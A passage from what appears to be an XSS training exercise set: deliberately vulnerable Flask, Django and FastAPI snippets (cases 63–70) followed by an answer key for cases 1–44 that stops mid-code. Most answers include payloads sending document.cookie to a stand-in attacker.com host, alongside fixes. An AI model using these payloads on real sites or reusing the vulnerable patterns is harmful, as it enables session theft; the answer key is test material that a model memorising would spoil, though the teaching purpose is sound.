    preview_safe  = Markup(preview_text)
    return Markup(
        '<span class="author">{}</span>: {}'
    ).format(author_safe, preview_safe)


# views.py
from flask import render_template, request
from .models import Comment
from .utils import format_comment_preview

def comment_feed():
    comments = Comment.query.order_by(
        Comment.created_at.desc()
    ).limit(20).all()

    previews = [
        format_comment_preview(c.author, c.preview_text)
        for c in comments
    ]

    return render_template('feed.html', previews=previews)

{# feed.html #}
{% for preview in previews %}
    <div class="comment-card">
        {{ preview }}
    </div>
{% endfor %}

Case 64

# views.py
from django.shortcuts import render
from django.contrib.auth.decorators import login_required
from .models import BlogPost

@login_required
def post_detail(request, post_id):
    post = BlogPost.objects.get(id=post_id)
    return render(request, 'post_detail.html', {'post': post})

{# post_detail.html #}
<h1>{{ post.title }}</h1>

<div id="share-bar"></div>

<script>
    var postTitle = "{{ post.title }}";
    var shareMsg  = "Check out: " + postTitle;

    function buildShareBar(msg) {
        document.getElementById('share-bar').innerHTML =
            '<button onclick="sharePost(\'' + msg + '\')">Share</button>';
    }

    buildShareBar(shareMsg);
</script>

Case 65

# views.py
from django.shortcuts import render
from django.utils.html import format_html
from .models import Product

def product_card(request, product_id):
    product = Product.objects.get(id=product_id)

    label = format_html(
        f'<span class="label label-{product.category}">'
        f'{product.name}'
        f'</span>'
    )

    return render(request, 'product_card.html', {
        'label': label,
        'product': product,
    })

{# product_card.html #}
<div class="product-card">
    {{ label }}
    <p>{{ product.description }}</p>
</div>

Case 66

# views.py
from django.shortcuts import render
from django.utils.html import format_html
from django.utils.safestring import mark_safe
from .models import Event

def event_banner(request, event_id):
    event = Event.objects.get(id=event_id)

    sponsor_html = mark_safe(event.sponsor_name)

    banner = format_html(
        '<div class="banner">'
        '<h2>{}</h2>'
        '<p>Sponsored by: {}</p>'
        '</div>',
        event.title,
        sponsor_html,
    )

    return render(request, 'event.html', {
        'banner': banner,
    })

{# event.html #}
<section class="event-section">
    {{ banner }}
</section>

Case 67

# views.py
from flask import render_template
from .models import Review

def review_page(review_id):
    review = Review.query.get(review_id)
    return render_template('review.html',
        author=review.author,
        body=review.body,
    )

{# review.html #}
<div class="review">
    <p id="review-body"></p>
</div>

<script>
    var author = "{{ author | tojson }}";
    var body   = {{ body | tojson }};

    function renderReview() {
        var container = document.getElementById('review-body');
        container.innerHTML = "<strong>" + author + "</strong>: " + body;
    }

    renderReview();
</script>

Case 68

# views.py
from django.shortcuts import render
from django.utils.html import format_html
from django.utils.safestring import mark_safe
from .models import UserProfile

def profile_badge(request, user_id):
    profile = UserProfile.objects.get(id=user_id)

    location = format_html('<em>{}</em>', profile.location)

    bio_preview = mark_safe(
        profile.bio[:100] if len(profile.bio) > 100
        else profile.bio
    )

    return render(request, 'profile_badge.html', {
        'username': profile.username,
        'location': location,
        'bio_preview': bio_preview,
    })

{# profile_badge.html #}
<div class="badge">
    <h3>{{ username }}</h3>
    <p>{{ location }}</p>
    <p>{{ bio_preview }}</p>
</div>

Case 69

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates
from .models import get_post_by_id

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/post/{post_id}")
async def post_detail(request: Request, post_id: int):
    post = get_post_by_id(post_id)
    return templates.TemplateResponse("post.html", {
        "request": request,
        "title":   post.title,
        "author":  post.author,
        "tags":    post.tags,
    })

{# post.html #}
<div id="post-header"></div>
<div id="tag-list"></div>

<script>
    var title  = "{{ title | tojson }}";
    var author = {{ author | tojson }};
    var tags   = {{ tags | tojson }};

    function renderHeader() {
        document.getElementById('post-header').innerHTML =
            '<h1>' + title + '</h1>' +
            '<p>By: ' + author + '</p>';
    }

    function renderTags() {
        var html = '';
        tags.forEach(function(tag) {
            html += '<span class="tag">' + tag + '</span>';
        });
        document.getElementById('tag-list').innerHTML = html;
    }

    renderHeader();
    renderTags();
</script>

Case 70

# views.py
from django.shortcuts import render
from django.utils.html import escape
from django.http import JsonResponse
from .models import Comment

def submit_comment(request):
    if request.method == 'POST':
        body = request.POST.get('body', '')
        safe_body = escape(body)
        Comment.objects.create(
            user=request.user,
            body=safe_body,
        )
    return redirect('comment_list')


def comment_list(request):
    comments = Comment.query.order_by(
        Comment.created_at.desc()
    ).all()
    return render(request, 'comments.html', {
        'comments': comments,
    })


def comment_api(request):
    comments = Comment.objects.all().values('user__username', 'body')
    return JsonResponse({'comments': list(comments)})

{# comments.html #}
{% for comment in comments %}
    <div class="comment">
        <p>{{ comment.body }}</p>
    </div>
{% endfor %}

Answer Key

Case 1 — Answer

This is a Reflected XSS. The server can clearly see the payload in the query. Yet wraps it in the final HTTP Response.
Sample request:

/?q=<script>alert(1)</script>

Remove the safe filter. This will permit direct rendering and can introduce XSS vulnerabilities:

<!-- results.html -->
<html>
<body>
  <h2>Results for: {{ query }}</h2>
  {% for result in results %}
    <p>{{ result.title }}</p>
  {% endfor %}
</body>
</html>

Case 2 — Answer

This is a case of a Reflected XSS Attack. Although the developer makes the call for HTML Escape encoding using the escape() in the backend this is the wrong context escaping. We must escape javascript since user input is rendered inside a Javascript <script> element on the frontend.
Sample payload:

/?name="; fetch('https://attacker.com?q='+document.cookie);//

Fix:

# views.py
from django.shortcuts import render
from django.utils.html import escape

def user_profile(request):
    username = request.GET.get("name", "")
    return render(request, "profile.html", {"username": username})

<!-- profile.html -->
<html>
<head>
  <script>
    var currentUser = "{{ username|escapejs }}";
    console.log("Logged in as: " + currentUser);
  </script>
</head>
<body><h1>Profile</h1></body>
</html>

Case 3 — Answer

Stored XSS vulnerability. Misplaced escaping: Escaping must take place in the frontend template right before the comment is rendered.
Sample of what raw_comments can store as payload:

raw_comments: ["<script>fetch('https://attacker.com/?q='+document.cookie)</script>"]

Fix:

# views.py
from django.shortcuts import render

def comment_list(request):
    raw_comments = Comment.objects.values_list("body", flat=True)
    return render(request, "comments.html", {"comments": raw_comments})

<!-- comments.html -->
<ul>
  {% for comment in comments %}
    <li>{{ comment }}</li>
  {% endfor %}
</ul>

Case 4 — Answer

Reflected XSS. Missing escaping. Bad habit to use render_template_string() since it allows an attacker to modify template. There is also a Server-Side Template Injection vulnerability since the %s string is substituted before render_template_string() parses the template. Even HTML escaping will not fix this.
Reflected XSS sample payload:

/?name=<script>fetch('https://attacker.com/?q='+document.cookie);</script>

An attacker can also attempt a Server-Side Injection Template if the above payload fails (not shown here due to complexity).

Fix:

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/greet")
def greet():
    name = request.args.get("name", "guest")
    return render_template("greet.html", name=name)

<!-- greet.html -->
<html>
<body>
  <h1>Hello, {{name}}!</h1>
</body>
</html>

Case 5 — Answer

Reflected XSS Attack: The safe filter in quote() means the characters found in the string "/:?=&" will not be URL-safe encoded! Wrong context escaping. Neither HTML escaping nor URL-safe encoding will work since the href attribute will reverse percent encoding. It's also a bad habit to use render_template_string(). The only way to fix this is to check if the URL is safe. An implementation to check if the URL is safe is given in the fix in (3.) below.
Sample payload:

/?to=javascript:fetch('https://attacker.com/?q='+document.cookie);

Fix:

# app.py
from flask import Flask, redirect, request, render_template
from urllib.parse import urlparse, urljoin
from typing import List

app = Flask(__name__)

def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc

@app.route("/redirect-preview")
def redirect_preview():
    destination = request.args.get("to", "/")
    safe_dest = ""
    if is_safe_url(destination):
        safe_dest = destination
    else:
        safe_dest = "/"
    return redirect(safe_dest)

Case 6 — Answer

No XSS vulnerability here but HTML double-escaping is not a good coding habit. There is no need to escape server-side since template HTML autoescapes.
The original code snippet is not vulnerable to XSS. It just has styling issues.
Fix:

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/comment")
def comment():
    user_comment = request.args.get("comment", "")
    return render_template("comment.html", comment=user_comment)

<!-- templates/comment.html -->
<html>
<body>
  <p>Your comment: {{ comment }}</p>
</body>
</html>

Case 7 — Answer

Reflected XSS. No HTML escaping is applied.
Sample payload:

/?q=<script>fetch('https://attacker.com?q='+document.cookie);</script>

The HTMLResponse is replaced with Jinja2Templates because that supports HTML autoescaping with the {{ }} syntax:

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

templates = Jinja2Templates(directory="templates")
app = FastAPI()

@app.get("/search")
def search(request: Request, q: str = ""):
    return templates.TemplateResponse("search.html", {"request": request, "q": q})

<!-- search.html -->
<html>
<body>
<h2>Results for: {{q}}</h2>
</body>
</html>

Case 8 — Answer

DOM XSS. Missing escaping in the fetch() call in the frontend template. Replace innerHTML attribute with textContent. According to OWASP it is a bad habit to use innerHTML. One should replace that with textContent attribute instead. This will make it impossible for any Javascript to be rendered. No need for escaping.
Payload:

/?name=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

<!-- index.html (served separately) -->
<html>
<body>
  <div id="greeting"></div>
  <script>
    fetch("/api/username?name=" + location.search.split("name=")[1])
      .then(r => r.json())
      .then(data => {
        document.getElementById("greeting").textContent = "Hello, " + data.username;
      });
  </script>
</body>
</html>

Case 9 — Answer

Wrong context escaping. The developer applies HTML escaping. But the code is still vulnerable to DOM XSS. So the innerHTML attribute must be replaced with textContent.
Payload:

/?text=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

# main.py
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()

@app.get("/api/comment")
def get_comment(text: str = ""):
    return JSONResponse(content={"comment": text})

// App.jsx (React frontend)
import { useEffect, useRef } from "react";

function CommentBox({ comment }) {
  const ref = useRef(null);

  useEffect(() => {
    ref.current.textContent = comment;
  }, [comment]);

  return <div ref={ref} />;
}

async function loadComment() {
  const params = new URLSearchParams(window.location.search);
  const res = await fetch("/api/comment?text=" + params.get("text"));
  const data = await res.json();
  return <CommentBox comment={data.comment} />;
}

Case 10 — Answer

Missing Escaping for DOM XSS vulnerability.
Payload for sink username:

/?username=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Payload for sink bio:

/?bio=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

<!-- index.html -->
<html>
<body>
  <div id="username-display"></div>
  <div id="bio-display"></div>

  <script>
    const params = new URLSearchParams(window.location.search);

    const username = params.get("username") || "guest";
    const bio = params.get("bio") || "";

    document.getElementById("username-display").textContent = "User: " + username;
    document.getElementById("bio-display").textContent = "Bio: " + bio;
  </script>
</body>
</html>

Case 11 — Answer

DOM XSS. Missing escaping.
Payload for sink review:

/?review=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

// hooks/useRichText.js
import { useEffect, useRef } from "react";

export function useRichText(content) {
  const ref = useRef(null);

  useEffect(() => {
    if (ref.current) {
      ref.current.textContent = content;
    }
  }, [content]);

  return ref;
}

// App.jsx
import { useRichText } from "./hooks/useRichText";

function ReviewCard({ reviewText }) {
  const ref = useRichText(reviewText);
  return <div className="review" ref={ref} />;
}

async function loadReview() {
  const params = new URLSearchParams(window.location.search);
  const reviewText = params.get("review") || "";
  return <ReviewCard reviewText={reviewText} />;
}

Case 12 — Answer

DOM XSS. Wrong context escaping.
Sample payload:

/?q=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

<!-- index.html -->
<html>
<body>
  <div id="search-banner"></div>

  <script>
    function renderBanner(container, label, value) {
      const p = document.createElement('p');
      p.textContent = `${label}: ${value}`;
      container.appendChild(p);
    }

    const params = new URLSearchParams(window.location.search);
    const query = params.get("q") || "";

    renderBanner(
      document.getElementById("search-banner"),
      "You searched for",
      query
    );
  </script>
</body>
</html>

Case 13 — Answer

Stored XSS. Missing escaping. Remove the autoescape off block.
Payload:

<script>fetch('https://attacker.com/?q='+document.cookie);</script>

Fix:

<!-- announcements.html -->
<html>
<body>
  <h2>Latest Announcements</h2>
  <ul>
    {% for item in items %}
      <li>{{ item }}</li>
    {% endfor %}
  </ul>
</body>
</html>

Case 14 — Answer

Reflected XSS vulnerability. Missing escaping. Note: Markup() tells Jinja2 its string argument does not need escaping. Thus Markup() should not be used.
Payload for Reflected XSS:

/?name=<script>fetch('https://attacker.com/?q='+document.cookie);</script>

Fix:

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/welcome")
def welcome():
    username = request.args.get("name", "guest")
    return render_template("welcome.html", username=username)

<!-- templates/welcome.html -->
<html>
<body>
  <p>Welcome, {{ username }}!</p>
</body>
</html>

Case 15 — Answer

Reflected XSS. Missing Escaping. Template variables are placed in Javascript. Normal HTML escaping will not prevent XSS because code can be written without HTML characters.
Payload:

/?username=</script><script>fetch('https://attacker.com?q='+document.cookie);//

Fix:

<!-- templates/dashboard.html -->
<html>
<body>
  <h1>Dashboard</h1>
  <script>
    var userData = {{ user_data | tojson }};
    console.log("Logged in as:", userData.name);
  </script>
</body>
</html>

Case 16 — Answer

Reflected XSS. This is a gray area on which of the three the vulnerability belongs to. Wrong context escaping. Quotes must be wrapped around template variable to avoid XSS. This will ensure proper escaping of HTML attributes in this Case. HTML escaping will not mitigate XSS here.
Payload:

?theme=x onmouseover=fetch('https://attacker.com?q='+document.cookie)

Fix:

<!-- profile.html -->
<html>
<body>
  <div class="{{ css_class }}">
    <p>Welcome to your profile.</p>
  </div>
</body>
</html>

Case 17 — Answer

Misplaced Escaping. HTML escaping must be done in the frontend template at the frontend — not backend.
Payload (will work once either the escape() in the backend or the safe filter in the frontend is removed):

POST /comment
Content-Type: application/x-www-form-urlencoded

body=</li><script>fetch('https://attacker.com?q='+document.cookie);</script><li>

Fix:

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

comments = []

@app.route("/comment", methods=["POST"])
def add_comment():
    body = request.form.get("body", "")
    comments.append(body)
    return "Comment saved.", 200

@app.route("/comments")
def view_comments():
    return render_template("comments.html", comments=comments)

<!-- templates/comments.html -->
<html>
<body>
  <h2>Comments</h2>
  <ul>
    {% for comment in comments %}
      <li>{{ comment }}</li>
    {% endfor %}
  </ul>
</body>
</html>

Case 18 — Answer

DOM XSS. Missing escaping.
Payload:

#<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie);">

Fix:

<!DOCTYPE html>
<html>
<body>
  <h1>Product Search</h1>
  <div id="results"></div>

  <script>
    const query = decodeURIComponent(window.location.hash.substring(1));
    const container = document.getElementById('results');
    const strong = document.createElement('strong');
    strong.textContent = query;
    container.textContent = "You searched for: ";
    container.appendChild(strong);
  </script>
</body>
</html>

Case 19 — Answer

DOM XSS. Missing escaping. Replace innerHTML with textContent.
Payload:

POST /api/users/attacker/bio
Content-Type: application/json

{"bio": "<img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\">"}

Fix:

// components/Bio.jsx
React.useEffect(() => {
  if (bioRef.current) {
    bioRef.current.textContent = bio;
  }
}, [bio]);

Case 20 — Answer

Reflected XSS. This is a gray area for classification of cause of error. In this case the developer must validate URL before passing it as argument. Wrong context escaping.
Payload:

/?dest=javascript:fetch('https://attacker.com/?q='+document.cookie);

Fix:

# app.py
from flask import Flask, redirect, request, render_template
from urllib.parse import urlparse, urljoin

app = Flask(__name__)

def is_safe_url(target):
    ref_url = urlparse(request.host_url)
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https') and \
           ref_url.netloc == test_url.netloc

@app.route("/redirect")
def redirect_user():
    destination = request.args.get("dest", "/home")
    if is_safe_url(destination):
        return redirect(destination)
    else:
        return redirect("/home")

Case 21 — Answer

DOM XSS. Missing escaping. innerHTML must be replaced with textContent.
Payload for variable event:

window.opener.postMessage(
    "<img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\">",
    "*"
);

Fix:

<!DOCTYPE html>
<html>
<body>
    <h1>Notifications</h1>
    <div id="notification-bar"></div>
    <script>
        window.addEventListener("message", function(event) {
            const msg = event.data;
            const notbar = document.getElementById('notification-bar');
            const p = document.createElement('p');
            p.textContent = `New message: ${msg}`;
            notbar.appendChild(p);
        });
    </script>
</body>
</html>

Case 22 — Answer

Reflected XSS. Missing escaping. Remove the safe filter: it tells Jinja2 that there is no need for HTML Escaping — leaving the frontend vulnerable to XSS. Argument for username should be a parameter for the format string in format_html(). This will ensure proper escaping.
Payload for user:

/?user=<script>fetch('https://attacker.com?q='+document.cookie);</script>

Fix:

# views.py
from django.shortcuts import render
from django.utils.html import format_html

def user_badge(request):
    username = request.GET.get("user", "guest")
    role = request.GET.get("role", "viewer")
    badge = format_html(
        "<span class='badge'>{}</span> logged in as {}",
        role,
        username
    )
    return render(request, "badge.html", {"badge": badge})

<!-- badge.html -->
<html>
<body>
    <div id="header">
        {{ badge }}
    </div>
</body>
</html>

Case 23 — Answer

Stored XSS since the payload is stored in-memory on server and later sent to frontend in /reviews handler. Misplaced escaping.
Payload:

POST /review
Content-Type: application/json

{"text": "</li><script>fetch('https://attacker.com/?q='+document.cookie);</script><li>"}

Fix:

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

reviews = []

@app.post("/review")
async def add_review(request: Request):
    body = await request.json()
    reviews.append(body.get("text", ""))
    return {"status": "saved"}

@app.get("/reviews")
async def view_reviews(request: Request):
    return templates.TemplateResponse(
        "reviews.html", {"request": request, "reviews": reviews}
    )

<!-- templates/reviews.html -->
<html>
<body>
    <h2>Customer Reviews</h2>
    <ul>
        {% for review in reviews %}
            <li>{{ review }}</li>
        {% endfor %}
    </ul>
</body>
</html>

Case 24 — Answer

Reflected XSS. Missing Escaping. mark_safe() tells Django to not escape its arguments.
Payload:

/?q="><img src=x onerror="fetch('https://attacker.com?q='+document.cookie)"

Fix:

# views.py
from django.shortcuts import render

def search(request):
    query = request.GET.get("q", "")
    return render(request, "search.html", {"query": query})

<!-- search.html -->
<html>
<body>
    <h1>Search</h1>
    <form method="GET" action="/search">
        <input type="text" name="q" value="{{ query }}">
        <button type="submit">Search</button>
    </form>
</body>
</html>

Case 25 — Answer

DOM XSS. Missing escaping. innerHTML must be replaced with textContent.
Payload:

/?page=</h2><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><h2>

Fix:

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Welcome</h1>
    <div id="content">Loading your page...</div>

    <script>
        const params = new URLSearchParams(window.location.search);
        const page = params.get("page") || "Home";
        document.title = page;
        const content = document.getElementById('content');
        const h2 = document.createElement('h2');
        h2.textContent = "You are viewing: " + page;
        content.appendChild(h2);
    </script>
</body>
</html>

Case 26 — Answer

Reflected XSS. Wrong context Escaping. The escape() marks the parameter as safe for HTML execution, which is risky. We must escape javascript since user input is rendered inside a Javascript <script> element on the frontend.
Once the escaping in the backend is removed the following payload will work:

POST /login
Content-Type: application/x-www-form-urlencoded

username=";fetch('https://attacker.com/?q='+document.cookie);//

Fix:

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/login", methods=["POST"])
def login():
    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if not username or not password:
        error = "Error: username and password are required."
        return render_template("login.html", error=error)

    if username != "admin" or password != "secret":
        error = f"Error: invalid credentials for user {username}."
        return render_template("login.html", error=error)

    return "Welcome!"

<!-- templates/login.html -->
<html>
<body>
    <form method="POST" action="/login">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <button type="submit">Login</button>
    </form>
    {% if error %}
        <script>
            alert({{ error | tojson }});
        </script>
    {% endif %}
</body>
</html>

Case 27 — Answer

Reflected XSS. Missing escaping. mark_safe() marks the input safe for HTML execution, which leaves query an attack vector for XSS. Remove mark_safe() since it marks input as safe for HTML execution, which leaves an attack vector for XSS.
Payload:

/?q=</strong><script>fetch('https://attacker.com/?q='+document.cookie);</script><strong>

Fix:

# views.py
from django.shortcuts import render
from django.utils.html import format_html

def search_results(request):
    query = request.GET.get("q", "")
    results = ["Result 1", "Result 2", "Result 3"]

    summary = format_html("<p>Showing results for: <strong>{}</strong></p>", query)

    return render(request, "results.html", {
        "summary": summary,
        "results": results,
    })

<!-- results.html -->
<html>
<body>
    <h1>Search Results</h1>
    {{ summary }}
    <ul>
    {% for result in results %}
        <li>{{ result }}</li>
    {% endfor %}
    </ul>
</body>
</html>

Case 28 — Answer

A. Reflected XSS for username variable. Misplaced Escaping. There is no need for escape() call in the backend. HTML autoescaping takes place in the template automatically.
B. Wrong context escaping for theme. The theme in the template must be wrapped in double quotes for proper escaping of the HTML attribute.

Payload for username once the escape() call is removed from the backend:

/?username=</h1><script>fetch('https://attacker.com/?q='+document.cookie);</script>

Payload for theme:

?theme=x onmouseover=fetch('https://attacker.com?q='+document.cookie)

Fix:

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/profile")
def profile(request: Request, username: str = "guest", theme: str = "light"):
    return templates.TemplateResponse("profile.html", {
        "request": request,
        "username": username,
        "theme": theme,
    })

<!-- templates/profile.html -->
<html>
<body>
    <div class="{{ theme }}">
        <h1>Welcome, {{ username }}!</h1>
        <p>Your profile is loading...</p>
    </div>
</body>
</html>

Case 29 — Answer

DOM XSS. Wrong context escaping. No need for encodeURIComponent() call in frontend. The innerHTML should be replaced with textContent.
Sample payload:

</p><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><p>

Fix:

<!DOCTYPE html>
<html>
<head>
    <title>Support Chat</title>
</head>
<body>
    <h1>Live Support</h1>
    <div id="chat-log"></div>
    <input type="text" id="msg-input" placeholder="Type a message...">
    <button onclick="sendMessage()">Send</button>

    <script>
        const chatLog = document.getElementById("chat-log");

        function sendMessage() {
            const input = document.getElementById("msg-input");
            const msg = input.value;
            const p = document.createElement('p');
            const strong = document.createElement('strong');
            strong.textContent = "You:";
            p.appendChild(strong);
            p.appendChild(document.createTextNode(' ' + msg));
            chatLog.appendChild(p);
            input.value = "";
        }
    </script>
</body>
</html>

Case 30 — Answer

DOM XSS. Missing escaping.
Sample payload:

<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

// components/CommentFeed.jsx
{comments.map((comment, i) => (
    <li
        key={i}
        ref={el => el && (el.textContent = comment)}
    />
))}

Case 31 — Answer

Reflected XSS. Wrong context escaping. Javascript escaping required.
Sample payload:

/?msg=</p><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><p>

Fix:

<!-- dashboard.html -->
<html>
<head>
    <script>
        function showBanner(msg) {
            const banner = document.getElementById("banner");
            const p = document.createElement('p');
            p.textContent = `Notification: ${msg}`;
            banner.appendChild(p);
        }
    </script>
</head>
<body>
    <div id="banner"></div>
    <h1>Dashboard</h1>
    <script>
        showBanner("{{ msg|escapejs }}");
    </script>
</body>
</html>

Case 32 — Answer

Reflected XSS. Missing HTML escaping for:

<p>Your language preference: {lang}</p>

And missing HTML escaping for the href tag in:

<p>Visit our <a href="/help?lang={lang}">help page</a>.</p>

Payload targeting the href:

/?lang=" onclick="fetch('https://attacker.com/?'+document.cookie)

Payload targeting the <p> tag:

/?lang=</p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>

Fix:

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

templates = Jinja2Templates(directory="templates")
app = FastAPI()

@app.get("/settings")
def settings(request: Request, lang: str = "en"):
    return templates.TemplateResponse("lang.html", {"request": request, "lang": lang})

<!--lang.html-->
<html>
<body>
    <h1>Settings</h1>
    <p>Your language preference: {{lang}}</p>
    <p>Visit our <a href="/help?lang={{lang}}">help page</a>.</p>
</body>
</html>

Case 33 — Answer

Stored XSS. Misplaced Escaping.
Payload:

POST /activity
Content-Type: application/json

{"action": "<img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\">"}

Fix:

# app.py
from flask import Flask, request, jsonify

app = Flask(__name__)

activity_feed = []

@app.route("/activity", methods=["POST"])
def add_activity():
    data = request.get_json()
    action = data.get("action", "")
    activity_feed.append(action)
    return jsonify({"status": "saved"})

@app.route("/feed")
def feed():
    return jsonify({"feed": activity_feed})

<!-- feed.html -->
<script>
    fetch("/feed")
        .then(res => res.json())
        .then(data => {
            data.feed.forEach(item => {
                const feed = document.getElementById("feed");
                const p = document.createElement('p');
                p.textContent = `${item}`;
                feed.appendChild(p);
            });
        });
</script>

Case 34 — Answer

No vulnerabilities. But the code is unclean. Better code is presented in (3.)
No payloads.
Fix:

# views.py
from django.shortcuts import render
from .models import Report

def search(request):
    query = request.GET.get("q", "")
    results = Report.objects.filter(title__icontains=query)
    return render(request, "title.html", {
        "query": query,
        "results": results,
    })

<!--title.html-->
<html>
<body>
  <h2>Results for: {{ query }}</h2>
  <ul>
    {% for result in results %}
      <li>{{ result.title }}</li>
    {% endfor %}
  </ul>
</body>
</html>

Case 35 — Answer

DOM XSS. Missing escaping.
Sample payload:

</li><img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)"><li>

Fix:

<script>
    input.addEventListener("input", () => {
        const query = input.value;
        fetch(`/api/suggestions?q=${query}`)
            .then(res => res.json())
            .then(data => {
                data.results.forEach(item => {
                    const li = document.createElement('li');
                    li.className = 'suggestion';
                    li.textContent = `${item.name}`;
                    suggestions.appendChild(li);
                });
            });
    });
</script>

Case 36 — Answer

DOM XSS. Missing Escaping.
Sample payload:

POST /api/profile/attacker
Content-Type: application/json

{"bio": "<img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\">"}

Fix:

useEffect(() => {
    if (profile && bioRef.current) {
        bioRef.current.textContent = profile.bio;
    }
}, [profile]);

Case 37 — Answer

Stored XSS. Missing escaping.
Sample payload:

POST /ticket
Content-Type: application/x-www-form-urlencoded

title=attacker&body=</div><script>fetch('https://attacker.com/?q='+document.cookie);</script><div>

Fix:

<!-- tickets.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>Support Tickets</h1>
    {% for ticket in tickets %}
        <div class="ticket">
            <h2>{{ ticket.title }}</h2>
            <div class="body">{{ ticket.body }}</div>
        </div>
    {% endfor %}
</body>
</html>

Case 38 — Answer

Reflected XSS. Wrong Context Escaping.
Sample payload:

POST /
Content-Type: application/x-www-form-urlencoded

email=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">

Fix:

# views.py
from django.shortcuts import render

def preferences(request):
    saved = False
    email = request.POST.get("email", "")
    if request.method == "POST":
        saved = True
    return render(request, "preferences.html", {
        "email": email,
        "saved": saved,
    })

<!-- preferences.html -->
<head>
    <script>
        function showConfirmation(email) {
            const banner = document.getElementById("confirmation");
            banner.textContent = `Preferences saved for: ${email}`;
        }
    </script>
</head>
<body>
    {% if saved %}
        <div id="confirmation"></div>
        <script>
            showConfirmation("{{ email | escapejs }}");
        </script>
    {% endif %}
</body>

Case 39 — Answer

Stored XSS. Misplaced Escaping. Although escaping is applied in the backend this can cause display issues.
No serious XSS vulnerability but display issues.
Fix:

# main.py
import sqlite3
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

templates = Jinja2Templates(directory="templates")
app = FastAPI()

@app.post("/comment")
async def add_comment(request: Request):
    data = await request.json()
    author = data.get("author", "")
    text = data.get("text", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO comments (author, text) VALUES (?, ?)",
        (author, text)
    )
    conn.commit()
    conn.close()
    return {"status": "saved"}

@app.get("/comments")
async def view_comments(request: Request):
    conn = get_db()
    rows_data = conn.execute("SELECT author, text FROM comments").fetchall()
    conn.close()
    return templates.TemplateResponse("rows.html", {
        "request": request,
        "rows_data": rows_data
    })

<!--rows.html-->
<table>
    <thead><tr><th>Author</th><th>Comment</th></tr></thead>
    <tbody>
        {% for c in rows_data %}
        <tr>
            <td>{{ c.author }}</td>
            <td>{{ c.text }}</td>
        </tr>
        {% endfor %}
    </tbody>
</table>

Case 40 — Answer

Stored XSS. Wrong Context escaping.
Sample payload:

POST /review
Content-Type: application/x-www-form-urlencoded

username=<img src=x onerror="fetch('https://attacker.com/?q='+document.cookie)">&review=x

Fix:

<!-- reviews.html -->
<head>
    <script>
        function highlightUser(username) {
            document.getElementById("welcome").textContent =
                `Welcome back, ${username}!`;
        }
    </script>
</head>
<body>
    {% for review in reviews %}
        <div class="review">
            <strong>{{ review.username }}</strong>
            <p>{{ review.review }}</p>
            <script>highlightUser({{ review.username | tojson }});</script>
        </div>
    {% endfor %}
</body>

Case 41 — Answer

Stored XSS. Missing Escaping.
SQL row entry payload:

user.username: attacker
user.bio: </div><script>fetch('https://attacker.com/?q='+document.cookie);</script><div>

Fix:

<!-- profile.html -->
<!DOCTYPE html>
<html>
<body>
    <h1>{{ user.username }}'s Profile</h1>
    <div class="bio">{{ user.bio }}</div>
</body>
</html>

Case 42 — Answer

Technically the code does succeed in defending against XSS but it can cause display errors.
No relevant payload. Just issues with display errors.
Fix:

@app.route("/event", methods=["POST"])
def add_event():
    title = request.form.get("title", "")
    description = request.form.get("description", "")
    conn = get_db()
    conn.execute(
        "INSERT INTO events (title, description) VALUES (?, ?)",
        (title, description)
    )
    conn.commit()
    conn.close()
    return "Event added."

Case 43 — Answer

Stored XSS. Missing Escaping.
Sample payload:

POST /
Content-Type: application/x-www-form-urlencoded

body=</p><script>fetch('https://attacker.com/?q='+document.cookie);</script><p>&author=x

Fix:

<!-- forum.html -->
{% for post in posts %}
    <div class="post">
        <strong>{{ post.author }}</strong>
        <p>{{ post.body }}</p>
    </div>
{% endfor %}

Case 44 — Answer

Stored XSS. Missing Escaping.
Sample payload:

POST /comment
Content-Type: application/json

{"author": "</strong><strong>", "body": "</p><img src=x onerror=\"fetch('https://attacker.com/?q='+document.cookie)\"><p>"}

Fix:

<!-- comments.html -->
<script>
    function renderComment(author, body) {
        const div = document.createElement('div');
        const strong = document.createElement('strong');
        strong.textContent = `${author}`;
        const p = document.createElement('p');
